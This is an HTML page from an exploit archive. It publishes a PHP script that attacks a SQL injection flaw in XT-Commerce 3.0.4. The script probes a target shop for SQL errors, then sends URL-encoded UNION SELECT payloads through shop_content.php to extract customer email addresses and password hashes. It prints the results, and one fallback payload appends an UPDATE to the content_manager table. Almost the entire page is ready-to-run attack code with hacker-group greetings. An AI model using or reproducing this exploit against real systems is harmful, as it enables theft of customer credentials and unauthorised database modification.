<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>XT-Commerce Version 3.0.4 SQL Injection Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===============================================
XT-Commerce Version 3.0.4 SQL Injection Exploit
===============================================

&lt;?php
# Exploit Title: XT-Commerce
# Date: 25/7/2010
# Author: TA4G – S8T@hotmail.com
# Software Link: http://www.xt-commerce.info/index.php?_m=downloads&amp;_a=viewdownload&amp;downloaditemid=19
# Version: 3.0.4
# Google dork : n/a
# Platform / Tested on: Ubuntu Linux
# Category: webapps/0day

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### ArHack.NeT ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$check_vuln = file_get_contents($argv[1].&quot;shop_content.php/coID/-1′&quot;);
if(strpos($check_vuln,&quot;You have an error in your SQL syntax&quot;) != false)
{
print(&quot;Site is exploitable.nn&quot;);
}
else
{
$getCont = file_get_contents($argv[1]);
if(strpos($getCont,&quot;xt:Commerce&quot;) == false)//Check if xt:commerce software
{
print(&quot;Copyright of software not found.n&quot;);
print(&quot;Site is not exploitable.nn&quot;);
exit(0);
}
else
{
print(&quot;Site is not exploitable.nn&quot;);
print(&quot;Exploiting stopped.nn&quot;);
exit(0);
}
}

$innerHTML = file_get_contents($argv[1].&quot;shop_content.php/coID/-1%27%20union%20select%20concat%

28customers_email_address%2C0×3b%2Ccustomers_password%2C0×3b%29%20from%20customers%20limit%

200%2C1%20union%20select%201%20from%20content_manager%20where%20content_group%20%3D%20%

271&quot;);

if(strpos($innerHTML,&quot;You have an error in your SQL syntax&quot;) != false)
{

$innerHTML = file_get_contents($argv[1].&quot;shop_content.php/coID/-1%27%20union%20select%20concat%

28customers_email_address%2C0×3b%2Ccustomers_password%2C0×3b%29%20from%20customers%20limit%

20200%2C1%20union%20select%201%20from%20content_manager%20where%20content_group%20%3D%

20%271&quot;);
}

if(strpos($innerHTML,&quot;You have an error in your SQL syntax&quot;) != false)
{
$innerHTML = file_get_contents($argv[1].&quot;shop_content.php/coID/-1%27%20union%20select%20concat%

28customers_email_address%2C0×3b%2Ccustomers_password%2C0×3b%29%20from%20customers%20limit%

200%2C1%3B–%20UPDATE%20content_manager%20SET%20languages_id%20%3D%20%272%27%

20where%205%3D%271&quot;);
}

//split of return
$innerTitle = substr($innerHTML,strpos($innerHTML,&quot;&lt;title&gt;&quot;)+7,(strpos($innerHTML,&quot;&lt;/title&gt;&quot;)-(strpos

($innerHTML,&quot;&lt;title&gt;&quot;)+7)));
if(strpos($innerTitle,&quot;;&quot;) != false)
{
$innerUser = substr($innerTitle,0,strpos($innerTitle,&quot;;&quot;));

$innerMD5 = substr($innerTitle,strpos($innerTitle,&quot;;&quot;)+1,strlen($innerTitle));
$innerMD5 = substr($innerMD5,0,strpos($innerMD5,&quot;;&quot;));

print(&quot;Username:n&quot;);
print($innerUser.&quot;n&quot;);

if(strlen($innerMD5)==32)
{
print(&quot;Hash is MD5:n&quot;);
print($innerMD5.&quot;n&quot;);
}
else
{
print(&quot;Is not MD5:n&quot;);
print($innerMD5.&quot;n&quot;);
}
}
else
{
print(&quot;Error, stop executing.nn&quot;);
}

?&gt;

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-26]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13476